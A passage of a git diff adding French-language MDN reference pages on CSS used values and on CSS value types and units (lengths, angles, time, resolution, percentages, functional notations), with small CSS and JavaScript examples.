+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS2.2", "cascade.html#specified-value", "cascaded value")}}</td>
+   <td>{{Spec2("CSS2.2")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1", "cascade.html#specified-value", "cascaded value")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Reference">La référence CSS</a></li>
+ <li><a href="/fr/docs/Web/CSS/Valeur_initiale">La notion de valeur initiale</a></li>
+ <li><a href="/fr/docs/Web/CSS/Valeur_calculée">La notion de valeur calculée</a></li>
+ <li><a href="/fr/docs/Web/CSS/Valeur_utilisée">La notion de valeur utilisée</a></li>
+ <li><a href="/fr/docs/Web/CSS/valeur_r%C3%A9solue">La notion de valeur résolue</a></li>
+ <li><a href="/fr/docs/Web/CSS/valeur_reelle">La notion de valeur réelle</a></li>
+</ul>
diff --git a/files/fr/web/css/valeur_utilisée/index.html b/files/fr/web/css/valeur_utilisée/index.html
new file mode 100644
index 0000000000..df94445fd7
--- /dev/null
+++ b/files/fr/web/css/valeur_utilisée/index.html
@@ -0,0 +1,144 @@
+---
+title: Valeur utilisée
+slug: Web/CSS/Valeur_utilisée
+tags:
+  - CSS
+  - Guide
+  - Reference
+  - Web
+translation_of: Web/CSS/used_value
+---
+<div>{{cssref}}</div>
+
+<p>La <strong>valeur utilisée</strong> de n'importe quelle propriété CSS est la valeur finale d'une propriété après que tous les calculs aient été réalisés.</p>
+
+<p>Une fois qu'un agent utilisateur a terminé les calculs, chaque propriété CSS possède une valeur utilisée. Les valeurs utilisées des dimensions (par exemple <code>width</code>,<code> height</code>) sont exprimées en pixels et les propriétés raccourcies (comme <code>background</code>) sont cohérentes avec leurs propriétés composantes (par exemple <code>background-color</code>), <code>display</code> est cohérente avec <code>position</code> et <code>float</code>.</p>
+
+<p>Les valeurs utilisées pour certaines propriétés peuvent être retrouvées en appelant la méthode JavaScript <code><a href="/fr/docs/DOM/window.getComputedStyle">window.getComputedStyle()</a></code>.</p>
+
+<h2 id="Détails">Détails</h2>
+
+<p>Quatre étapes permettent de déterminer la valeur finale de n'importe quelle propriété CSS.</p>
+
+<ol>
+ <li>Tout d'abord, la <a href="/fr/docs/CSS/Valeur_spécifiée">valeur spécifiée</a> est le résultat de la cascade (on choisit la règle la plus spécifique qui change la propriété), de l'<a href="/fr/docs/CSS/Héritage">héritage</a> (on utilise la valeur calculée d'un parent si la propriété peut être héritée) ou alors c'est la valeur par défaut est utilisée.</li>
+ <li>Ensuite, la <a href="/fr/docs/CSS/Valeur_calculée">valeur calculée</a> est déterminée selon la spécification (par exemple, un <code>span</code> avec <code>position: absolute</code> aura <code>display</code> qui passera à <code>block</code> pour la valeur calculée).</li>
+ <li>Ensuite, la mise en page est calculée (les dimensions qui ont pour valeur <code>auto</code> ou des pourcentages relatifs à des parents sont remplacées par des valeurs en pixels), et le résultat est la <strong>valeur utilisée</strong>.</li>
+ <li>Enfin, la valeur est transformée selon les limites de l'environnement actuel, le résultat est <a href="/fr/docs/Web/CSS/valeur_reelle">la valeur réelle</a>. La valeur finalement utilisée est la valeur réelle, éventuellement approximée en fonction des contraintes de l'agent utilisateur. Ces valeurs sont calculées de manière interne ; un script peut seulement lire les valeurs utilisées finales grâce à <code><a href="/fr/docs/DOM/window.getComputedStyle">window.getComputedStyle</a></code>  (bien que cette méthode peut renvoyer la valeur calculée selon la propriété, la valeur renvoyée par cette méthode est généralement appelée <a href="/fr/docs/Web/CSS/valeur_r%C3%A9solue">valeur résolue</a>).</li>
+</ol>
+
+<h2 id="Différence_avec_les_valeurs_calculées">Différence avec les valeurs calculées</h2>
+
+<p>CSS 2.0 définissait la <a href="/fr/docs/CSS/Valeur_calculée">valeur calculée</a> comme la dernière étape du calcul de la valeur. CSS 2.1 a introduit une définition distincte de la valeur utilisée afin qu'un élément puisse hériter d'une largeur ou d'une hauteur d'un parent de manière explicite si la valeur calculée du parent est un pourcentage. Pour les propriétés CSS qui ne dépendent pas de la mise en page (comme <code>display</code>, <code>font-size</code> ou <code>line-height</code>), les valeurs calculées et les valeurs utilisées sont identiques. Voici les propriétés qui dépendent de la mise en page et dont les valeurs calculées sont différentes des valeurs utilisées (extrait de <em><a class="external" href="https://www.w3.org/TR/CSS2/changes.html#q36">CSS 2.1 Changes: Specified, computed, and actual values</a></em>) :</p>
+
+<ul>
+ <li><code>background-position</code></li>
+ <li><code>bottom</code>, <code>left</code>, <code>right</code>, <code>top</code></li>
+ <li><code>height</code>, <code>width</code></li>
+ <li><code>margin-bottom</code>, <code>margin-left</code>, <code>margin-right</code>, <code>margin-top</code></li>
+ <li><code>min-height</code>, <code>min-width</code></li>
+ <li><code>padding-bottom</code>, <code>padding-left</code>, <code>padding-right</code>, <code>padding-top</code></li>
+ <li><code>text-indent</code></li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Cet exemple illustre et calcule les largeurs <em>utilisées</em> pour les trois éléments.</p>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#no-width {
+  width: auto;
+}
+
+#width-50 {
+  width: 50%;
+}
+
+#width-inherit {
+  width: inherit;
+}
+
+/* Permet de mieux voir les résultats */
+div {
+  border: 1px solid red;
+  padding: 8px;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="no-width"&gt;
+  &lt;p&gt;Pas de largeur explicite.&lt;/p&gt;
+  &lt;p class="show-used-width"&gt;..&lt;/p&gt;
+
+  &lt;div id="width-50"&gt;
+    &lt;p&gt;Largeur explicite : 50%.&lt;/p&gt;
+    &lt;p class="show-used-width"&gt;..&lt;/p&gt;
+
+    &lt;div id="width-inherit"&gt;
+      &lt;p&gt;Largeur explicite: héritée avec &lt;code&gt;inherit&lt;/code&gt;.&lt;/p&gt;
+      &lt;p class="show-used-width"&gt;..&lt;/p&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">function updateUsedWidth(id) {
+  var div = document.querySelector(`#${id}`);
+  var par = div.querySelector('.show-used-width');
+  var wid = window.getComputedStyle(div)["width"];
+  par.textContent = `Used width: ${wid}.`;
+}
+
+function updateAllUsedWidths() {
+  updateUsedWidth("no-width");
+  updateUsedWidth("width-50");
+  updateUsedWidth("width-inherit");
+}
+
+updateAllUsedWidths();
+window.addEventListener('resize', updateAllUsedWidths);
+
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', '80%', '372px')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS2.2", "cascade.html#used-value", "used value")}}</td>
+   <td>{{Spec2("CSS2.2")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1", "cascade.html#used-value", "used value")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Reference">La référence CSS</a></li>
+ <li><a href="/fr/docs/Web/CSS/Valeur_initiale">La notion de valeur initiale</a></li>
+ <li><a href="/fr/docs/Web/CSS/Valeur_calculée">La notion de valeur calculée</a></li>
+ <li><a href="/fr/docs/Web/CSS/Valeur_spécifiée">La notion de valeur définie</a></li>
+ <li><a href="/fr/docs/Web/CSS/valeur_r%C3%A9solue">La notion de valeur résolue</a></li>
+ <li><a href="/fr/docs/Web/CSS/valeur_reelle">La notion de valeur réelle</a></li>
+ <li><code><a href="/fr/docs/DOM/window.getComputedStyle">window.getComputedStyle()</a></code></li>
+</ul>
diff --git a/files/fr/web/css/valeurs_et_unités_css/index.html b/files/fr/web/css/valeurs_et_unités_css/index.html
new file mode 100644
index 0000000000..0c1c4f9b57
--- /dev/null
+++ b/files/fr/web/css/valeurs_et_unités_css/index.html
@@ -0,0 +1,494 @@
+---
+title: Valeurs et unités CSS
+slug: Web/CSS/Valeurs_et_unités_CSS
+tags:
+  - CSS
+  - Reference
+translation_of: Web/CSS/CSS_Values_and_Units
+---
+<div>{{CSSRef}}</div>
+
+<p>Chaque déclaration CSS inclut une paire constituée d'une propriété et d'une valeur. La plupart de celles-ci sont définies dans le module de spécification <em><a href="https://www.w3.org/TR/css-values-4/">CSS Values and Units</a></em> (Valeurs et unités CSS). Dans cet article, nous verrons ces différents types et valeurs ainsi que des notions de base quant à leur utilisation. Pour obtenir des informattions plus détaillées, vous pouvez consulter la page de chacun de ces types.</p>
+
+<h2 id="Types_de_données_textuels">Types de données textuels</h2>
+
+<ul>
+ <li>{{cssxref("&lt;custom-ident&gt;")}}</li>
+ <li>Des mots-clés prédéfinis tels que les identifiants (<code>&lt;ident&gt;</code>)</li>
+ <li>{{cssxref("&lt;string&gt;")}}</li>
+ <li>{{cssxref("&lt;url&gt;")}}</li>
+</ul>
+
+<p>Une valeur dont le type de donnée est textuel peut être un identifiant CSS (<code>&lt;ident&gt;</code>) ou une chaîne de caractères (<code>&lt;string&gt;</code>). Lorsqu'il s'agit d'un identifiant CSS, celui-ci ne doit pas être entouré de doubles quotes (guillemets anglais). En revanche, les chaînes de caractères (<code>&lt;string&gt;</code>) doivent être délimitées par des quotes ou des doubles quotes.</p>
+
+<p>Dans les spécifications, les valeurs qui peuvent être définies par un développeur web sont indiquées comme {{cssxref("&lt;custom-ident&gt;")}} ; ce type de valeur se comportera comme n'importe quel autre identifiant CSS. Ainsi, pour la propriété {{cssxref("grid-area")}}, on peut utiliser une valeur de type <code>&lt;custom-ident&gt;</code> et si on a une zone de grille nommée <code>content</code>, on l'indiquera sans quotes :</p>
+
+<pre class="brush: css">.item {
+  grid-area: content;
+}
+</pre>
+
+<p>En revanche, lorsqu'on manipule une valeur de type {{cssxref("&lt;string&gt;")}}, comme ça peut être le cas lorsqu'on utilise la propriété {{cssxref("content")}}, il faut l'entourer de quotes :</p>
+
+<pre class="brush: css">.item::after {
+  content: "Voici le contenu.";
+}
+</pre>
+
+<p>Si le type indiqué dans la spécification est <code>&lt;custom-ident&gt; | &lt;string&gt;</code>, cela nidiquera que les quotes sont optionnelles. C'est par exemple le cas avec les noms des animations :</p>
+
+<pre class="brush: bash">@keyframe identifiantValide {
+  /* on place les keyframes ici */
+}
+
+@keyframe 'chaineValide' {
+  /* on place les keyframes ici */
+}</pre>
+
+<p>Bien qu'on puisse généralement utiliser presque n'importe nom (y compris en le composant d'emojis), un identifiant ne peut pas être <code>none</code>, <code>unset</code>, <code>initial</code> ou <code>inherit</code>, ne peut pas commencer par un chiffre ou par deux tirets. De façon générale, il ne faut pas qu'un identifiant soit un mot-clé CSS existant. Pour plus d'informations, voir les pages {{cssxref("&lt;custom-ident&gt;")}} et {{cssxref("&lt;string&gt;")}}.</p>
+
+<h3 id="Mots-clés_prédéfinis">Mots-clés prédéfinis</h3>
+
+<p>Les spécifications définissent également des mots-clés utilisables comme valeurs pour certaines propriétés. Ces mots-clés sont également des identifiants CSS et ne doivent pas être entourés de guillemets.</p>
+
+<p>Lorsque vous consultez une spécification ou un article de MDN à propos d'une propriété, vous pourrez voir les mots-clés autorisés sous la forme suivante. Voici un exemple avec les valeurs autorisées pour la propriété {{cssxref("break-inside")}}.</p>
+
+<pre class="syntaxbox">auto | avoid | avoid-page | avoid-column | avoid-region</pre>
+
+<p>Dans une déclaration, on pourra donc écrire (sans quote) :</p>
+
+<pre class="brush: css"><code>.box {
+  break-inside: avoid;
+}
+</code></pre>
+
+<h3 id="Mots-clés_généraux">Mots-clés généraux</h3>
+
+<p>En complément des mots-clés définis pour certaines propriétés, il existe trois mots-clés utilisables pour l'ensemble des propriétés CSS : {{cssxref("initial")}}, {{cssxref("inherit")}} et {{cssxref("unset")}}.</p>
+
+<p>Le mot-clé <code>initial</code> représente la valeur définie comme la valeur initiale de la propriété. Le mot-clé <code>inherit</code> correspond à la valeur calculée de la propriété sur l'élément parent si celle-ci est héritée.</p>
+
+<p>Le mot-clé <code>unset</code> agit comme <code>inherit</code> ou <code>initial</code> selon que la propriété soit héritée ou non.</p>
+
+<p>Une quatrième valeur, {{cssxref("revert")}}, a été ajoutée dans le module de spécification de niveau 4 sur la cascade mais sa prise en charge est encore faible et hétérogène (en février 2019).</p>
+
+<h3 id="URL">URL</h3>
+
+<p>Une valeur de type {{cssxref("&lt;url&gt;")}} s'utilise avec une notation fonctionnelle qui prend une chaîne de caractères (type <code>&lt;string&gt;</code>) comme argument et qui est une URL. La chaîne de caractères peut être une URL absolue ou relative. Ainsi, si on souhaite inclure une image d'arrière-plan, on pourra utiliser l'une ou l'autre de ces déclarations.</p>
+
+<pre class="brush: css"><code>.box {
+  background-image: url("images/mon-arriere-plan.png");
+}</code>
+
+<code>.box {
+  background-image: url("https://www.exammple.com/images/mon-arriere-plan.png");
+}</code>
+</pre>
+
+<p>On notera que la valeur passée à <code>url()</code> peut ne pas contenir de quotes. Dans ce cas, elle sera analysée comme une valeur <code>&lt;url-token&gt;</code> et devra respecter certaines règles supplémentaires quant à l'échappement de certains caractères. Voir la page {{cssxref("&lt;url&gt;")}} pour plus d'informations.</p>
+
+<h2 id="Types_de_données_numériques">Types de données numériques</h2>
+
+<ul>
+ <li>{{cssxref("&lt;integer&gt;")}}</li>
+ <li>{{cssxref("&lt;number&gt;")}}</li>
+ <li>{{cssxref("&lt;dimension&gt;")}}</li>
+ <li>{{cssxref("&lt;percentage&gt;")}}</li>
+</ul>
+
+<h3 id="Entiers">Entiers</h3>
+
+<p>Un entier ({{cssxref("&lt;integer&gt;")}}) se compose d'un ou plusieurs chiffres entre <code>0</code> et <code>9</code> (exemple de valeurs : <code>1024</code> ou <code>-55</code>). Un entier peut être précédé d'un signe <code>+</code> ou <code>-</code>.</p>
+
+<h3 id="Nombres">Nombres</h3>
+
+<p>Un nombre ({{cssxref("&lt;number&gt;")}}) représente un nombre décimal pouvant avoir (ou non) une composante décimale. Le séparateur décimal utilisé est le point. Ainsi, <code>1</code> et <code>1.2</code> sont des nombres en CSS. Les nombres peuvent être précédés d'un signe <code>+</code> ou <code>-</code>.</p>
+
+<h3 id="Dimensions">Dimensions</h3>
+
+<p>Une valeur {{cssxref("&lt;dimension&gt;")}} est un nombre (<code>&lt;number&gt;</code>) suivi directement d'une unité (par exemple <code>10px</code>). L'identifiant utilisé pour exprimer l'unité est insensible à la casse et est lui-même un identifiant. Il n'y a jamais d'espace entre le nombre et l'unité (<code>1 cm</code> ne sera pas valide). CSS utilise les dimensions pour les types suivants :</p>
+
+<ul>
+ <li>{{cssxref("&lt;length&gt;")}} (longueurs avec des unités de distance)</li>
+ <li>{{cssxref("&lt;angle&gt;")}}</li>
+ <li>{{cssxref("&lt;time&gt;")}}</li>
+ <li>{{cssxref("&lt;frequency&gt;")}}</li>
+ <li>{{cssxref("&lt;resolution&gt;")}}</li>
+</ul>
+
+<p>Nous verrons chacun de ces types dans les sections suivantes.</p>
+
+<ul>
+</ul>
+
+<h4 id="Unités_de_distance">Unités de distance</h4>
+
+<p>Lorsqu'on peut utiliser une distance comme valeur d'une propriété, cette valeur est décrite avec le type {{cssxref("&lt;length&gt;")}}. Il existe deux types de longueur en CSS : les longueurs absolues d'une part et les longueurs relatives d'autre part.</p>
+
+<p>Les unités de longueur relative permettent d'exprimer une distance relative à une autre grandeur. Ainsi, l'unité <code>em</code> sera relative à la taille (corps) de la police pour l'élément ; l'unité <code>vh</code> sera relative à la hauteur de la zone d'affichage (<em>viewport</em>).</p>
+
+<table class="standard-table">
+ <caption>Récapitulatif des unités relatives</caption>
+ <thead>
+  <tr>
+   <th scope="col">Unité</th>
+   <th scope="col">Relative à</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>em</code></td>
+   <td>La taille (corps) de police de l'élément</td>
+  </tr>
+  <tr>
+   <td><code>ex</code></td>
+   <td>La hauteur d'un x avec la police utilisée par l'élément</td>
+  </tr>
+  <tr>
+   <td><code>cap</code></td>
+   <td>La hauteur d'une majuscule nominale avec la police utilisée par l'élément</td>
+  </tr>
+  <tr>
+   <td><code>ch</code></td>
+   <td>La largeur moyenne d'un glyphe étroit et de l'espace alentour pour la police utilisée par l'élément (le glyphe concerné étant “0” (ZERO, U+0030)).</td>
+  </tr>
+  <tr>
+   <td><code>ic</code></td>
+   <td>La largeur moyenne d'un glyphe large et de l'espace alentour pour la police utilisée par l'élément (exemple de glyphe “水” ).</td>
+  </tr>
+  <tr>
+   <td><code>rem</code></td>
+   <td>La taille (corps) de police de l'élément racine</td>
+  </tr>
+  <tr>
+   <td><code>lh</code></td>
+   <td>La hauteur de la ligne de l'élément</td>
+  </tr>
+  <tr>
+   <td><code>rlh</code></td>
+   <td>La hauteur de la ligne de l'élément racine</td>
+  </tr>
+  <tr>
+   <td><code>vw</code></td>
+   <td>1% de la largeur de la zone d'affichage (<em>viewport</em>)</td>
+  </tr>
+  <tr>
+   <td><code>vh</code></td>
+   <td>1% de la hauteur de la zone d'affichage (<em>viewport</em>)</td>
+  </tr>
+  <tr>
+   <td><code>vi</code></td>
+   <td>1% de la taille de la zone d'affichage sur l'axe en ligne (<em>inline axis</em>)</td>
+  </tr>
+  <tr>
+   <td><code>vb</code></td>
+   <td>1% de la taille de la zone d'affichage sur l'axe de bloc (<em>block axis</em>)</td>
+  </tr>
+  <tr>
+   <td><code>vmin</code></td>
+   <td>1% de la zone d'affichage selon sa plus petite dimension</td>
+  </tr>
+  <tr>
+   <td><code>vmax</code></td>
+   <td>1% de la zone d'affichage selon sa plus grande dimension</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Les unités de longueur absolue correspondent à des mesures physiques et sont ainsi particulièrement adaptées lors que le média d'affichage possède une taille fixe (l'impression par exemple). Ainsi, l'unité <code>cm</code> correspond à un centimètre physique.</p>
+
+<table class="standard-table">
+ <caption>Récapitulatif des unités de longueur absolue</caption>
+ <thead>
+  <tr>
+   <th scope="col">Unité</th>
+   <th scope="col">Nom</th>
+   <th scope="col">Équivalence</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>cm</code></td>
+   <td>Centimètre</td>
+   <td>1cm = 96px/2.54</td>
+  </tr>
+  <tr>
+   <td><code>mm</code></td>
+   <td>Millimètre</td>
+   <td>1mm = 1/10e de 1cm</td>
+  </tr>
+  <tr>
+   <td><code>Q</code></td>
+   <td>Quart de millimètre</td>
+   <td>1Q = 1/40e de 1cm</td>
+  </tr>
+  <tr>
+   <td><code>in</code></td>
+   <td>Pouces (<em>inches</em>)</td>
+   <td>1in = 2.54cm = 96px</td>
+  </tr>
+  <tr>
+   <td><code>pc</code></td>
+   <td>Picas</td>
+   <td>1pc = 1/16e de 1in</td>
+  </tr>
+  <tr>
+   <td><code>pt</code></td>
+   <td>Points</td>
+   <td>1pt = 1/72e de 1in</td>
+  </tr>
+  <tr>
+   <td><code>px</code></td>
+   <td>Pixels</td>
+   <td>1px = 1/96e de 1in</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Lorsqu'on utilise une longueur nulle (sa valeur est <code>0</code>), l'identifiant correspondant à l'unité n'est pas obligatoire. Dans tous les autres cas, l'unité doit être écrite juste après la valeur (sans espace). L'identifiant de l'unité est insensible à la casse.</p>
+
+<h4 id="Unités_angulaires">Unités angulaires</h4>
+
+<p>Les valeurs angulaires sont représentées avec le type {{cssxref("&lt;angle&gt;")}} et peuvent être décrites avec les unités suivantes :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Unité</th>
+   <th scope="col">Nom</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>deg</code></td>
+   <td>Degrés</td>
+   <td>Un cercle se divise en 360 degrés égaux.</td>
+  </tr>
+  <tr>
+   <td><code>grad</code></td>
+   <td>Grades/Gradians</td>
+   <td>Un cercle se compose de 400 grades.</td>
+  </tr>
+  <tr>
+   <td><code>rad</code></td>
+   <td>Radians</td>
+   <td>Un cercle se compose de 2π radians.</td>
+  </tr>
+  <tr>
+   <td><code>turn</code></td>
+   <td>Tours</td>
+   <td>Un cercle se compose d'un tour.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Unités_temporelles">Unités temporelles</h4>
+
+<p>Les valeurs temporelles sont de type {{cssxref("&lt;time&gt;")}} et utilisent les unités suivantes.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Unité</th>
+   <th scope="col">Nom</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>s</code></td>
+   <td>Secondes</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ms</code></td>
+   <td>Millisecondes</td>
+   <td>Un millième de seconde.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Unités_de_fréquence">Unités de fréquence</h4>
+
+<p>Les valeurs de fréquence ont le type {{cssxref("&lt;frequency&gt;")}} et utilisent les valeurs suivantes.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Unité</th>
+   <th scope="col">Nom</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>Hz</code></td>
+   <td>Hertz</td>
+   <td>Nombre de fois par seconde.</td>
+  </tr>
+  <tr>
+   <td><code>kHz</code></td>
+   <td>Kilohertz</td>
+   <td>1000 Hertz.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Unités_de_résolution">Unités de résolution</h4>
+
+<p>Les résolutions sont représentées par des valeurs de type {{cssxref("&lt;resolution&gt;")}}. Elles correspondent à la taille d'un point sur une représentation graphique et décrivent la quantité de ces points sur un pixel, pouce ou centimètre CSS.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Unité</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>dpi</code></td>
+   <td>Points par pouce.</td>
+  </tr>
+  <tr>
+   <td><code>dpcm</code></td>
+   <td>Points par centimètre.</td>
+  </tr>
+  <tr>
+   <td><code>dppx</code>, <code>x</code></td>
+   <td>Points par unité px.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Pourcentages">Pourcentages</h3>
+
+<p>Une valeur de type {{cssxref("&lt;percentage&gt;")}} représente une fraction d'une autre valeur de référence.</p>
+
+<p>Les valeurs exprimées en pourcentages sont relatives à d'autres quantités (une longueur par exemple). Chaque propriété qui permet d'utiliser un pourcentage définit également la quantité à laquelle se réfère ce pourcentage. Cette quantité peut être une valeur d'une autre propriété du même élément, la valeur de la propriété sur un élément ancêtre, une caractéristique du bloc englobant ou autre chose.</p>
+
+<p>Ainsi, si on utilise {{cssxref("width")}} avec un pourcentage sur une boîte. Ce pourcentage fera référence à la largeur calculée de l'élément parent de la boîte :</p>
+
+<pre class="brush: css">.box {
+  width: 50%;
+}</pre>
+
+<h3 id="Mélanges_entre_les_pourcentages_et_les_dimensions">Mélanges entre les pourcentages et les dimensions</h3>
+
+<p>Certaines propriétés permettent d'utiliser une dimension avec deux types possibles (par exemple une longueur ou un pourcentage). Dans ce cas, la valeur mentionnée dans la spécification a une unité composite (ex. {{cssxref("&lt;length-percentage&gt;")}}). Voici les différentes unités composites qui existent :</p>
+
+<ul>
+ <li>{{cssxref("&lt;frequency-percentage&gt;")}}</li>
+ <li>{{cssxref("&lt;angle-percentage&gt;")}}</li>
+ <li>{{cssxref("&lt;time-percentage&gt;")}}</li>
+</ul>
+
+<h3 id="Types_de_données_spéciaux_(définis_via_d'autres_spécifications)">Types de données spéciaux (définis via d'autres spécifications)</h3>
+
+<ul>
+ <li>{{cssxref("&lt;color&gt;")}}</li>
+ <li>{{cssxref("&lt;image&gt;")}}</li>
+ <li>{{cssxref("&lt;position&gt;")}}</li>
+</ul>
+
+<h4 id="Couleur">Couleur</h4>
+
+<p>Une valeur de type {{cssxref("&lt;color&gt;")}} permet de représenter une couleur pour un élément (par exemple la couleur de son arrière-plan). Ce type est défini dans le module de spécification <em><a href="https://drafts.csswg.org/css-color-3/">CSS Color</a></em>.</p>
+
+<h4 id="Image">Image</h4>
+
+<p>Une valeur de type {{cssxref("&lt;image&gt;")}} permet de représenter une image utilisable en CSS. Ce type est défini dans le module de spécification <em><a href="https://www.w3.org/TR/css-images-4/">CSS Image Values and Replaced Content Module</a></em>.</p>
+
+<h4 id="Position">Position</h4>
+
+<p>Le type {{cssxref("&lt;position&gt;")}} définit le positionnement, sur deux dimensions, d'un objet sur une zone de positionnement. Ce peut être le positionnement d'une image d'arrière-plan par rapport à son conteneur par exemple. Ce type est interprété comme {{cssxref("background-position")}} et est donc spécifié avec le module <a href="https://www.w3.org/TR/css-backgrounds-3/"><em>CSS Backgrounds and Borders</em></a>.</p>
+
+<h3 id="Notations_fonctionnelles_(fonctions)">Notations fonctionnelles (fonctions)</h3>
+
+<ul>
+ <li>{{cssxref("calc()")}}</li>
+ <li>{{cssxref("min", "min()")}}</li>
+ <li>{{cssxref("max", "max()")}}</li>
+ <li>{{cssxref("clamp", "clamp()")}}</li>
+ <li>{{cssxref("toggle", "toggle()")}}</li>
+ <li>{{cssxref("attr", "attr()")}}</li>
+</ul>
+
+<p>Les notations fonctionnelles sont des types de valeur qui peuvent représenter des types plus complexes ou qui impliquent un traitement spécifique du moteur de rendu. La syntaxe commence par le nom de la fonction, immédiatement suivi d'une parenthèse gauche <code>(</code> suivie des arguments de la notation, suivis d'une parenthèse droite<code>)</code>. Les fonctions peuvent prendre plusieurs arguments qui ont une forme analogue à celle utilisée pour les valeurs des propriétés.</p>
+
+<p>Les espaces sont optionnels mais autorisés à l'intérieur des parenthèses.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Contrairement à d'autres langages, la virgule n'est pas toujours le séparateur utilisé entre les arguments d'une notation fonctionnelle.</p>
+</div>
+
+<p>Certaines notations fonctionnelles historiques telles que <code>rgba()</code> utilisent des virgules pour séparer des arguments mais la plupart du temps, les virgules sont uniquement utilisées afin de séparer les éléments d'une liste. Si une virgule est utilisée comme séparateur entre des arguments, on peut ajouter un espace optionnel avant et après la virgule.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Values")}}</td>
+   <td>{{Spec2("CSS4 Values")}}</td>
+   <td>Ajout des unités <code>vi</code>, <code>vb</code>, <code>ic</code>, <code>cap</code>, <code>lh</code> et <code>rlh</code>.<br>
+    Ajout des notations fonctionnelles  <code>min()</code>, <code>max()</code> et <code>clamp()</code>.<br>
+    Ajout de  <code>toggle()</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Values")}}</td>
+   <td>{{Spec2("CSS3 Values")}}</td>
+   <td>Ajout de <code>calc()</code>, <code>ch</code>, <code>rem</code>, <code>vw</code>, <code>vw</code>, <code>vmin</code>,<code> vmax</code>, <code>Q</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS4 Colors")}}</td>
+   <td>{{Spec2("CSS4 Colors")}}</td>
+   <td>Ajout des syntaxes sans virgule pour les fonctions <code>rgb()</code>, <code>rgba()</code>, <code>hsl()</code> et <code>hsla()</code>. Ajout des valeurs alpha pour  <code>rgb()</code> et <code>hsl()</code>, transformant ainsi <code>rgba()</code> et <code>hsla()</code> en alias respectifs (dépréciés).<br>
+    Ajout du mot-clé de couleur <code>rebeccapurple</code>.<br>
+    Ajout des couleurs sur 4 et 8 chiffres hexadécimaux où le dernier chiffre représente la valeur alpha.<br>
+    Ajout des fonctions <code>hwb()</code>, <code>device-cmyk()</code> et <code>color()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Colors")}}</td>
+   <td>{{Spec2("CSS3 Colors")}}</td>
+   <td>Dépréciation des couleurs système. Ajout des couleurs SVG. Ajout des fonctions <code>rgba()</code>, <code>hsl()</code> et <code>hsla()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS4 Images")}}</td>
+   <td>{{Spec2("CSS4 Images")}}</td>
+   <td>
+    <p>Ajout des notations fonctionnelles <code>element()</code>, <code>image()</code>, <code>image-set()</code>, <code>conic-gradient()</code></p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Images")}}</td>
+   <td>{{Spec2("CSS3 Images")}}</td>
+   <td>Définition initiale du type <code>image</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS1")}}</td>
+   <td>{{Spec2("CSS1")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Types_CSS">Les types de donnée de base en CSS</a></li>
+ <li><a href="/fr/docs/Apprendre/CSS/Introduction_à_CSS/Values_and_units">Introduction à CSS : les valeurs et les unités</a></li>
+</ul>
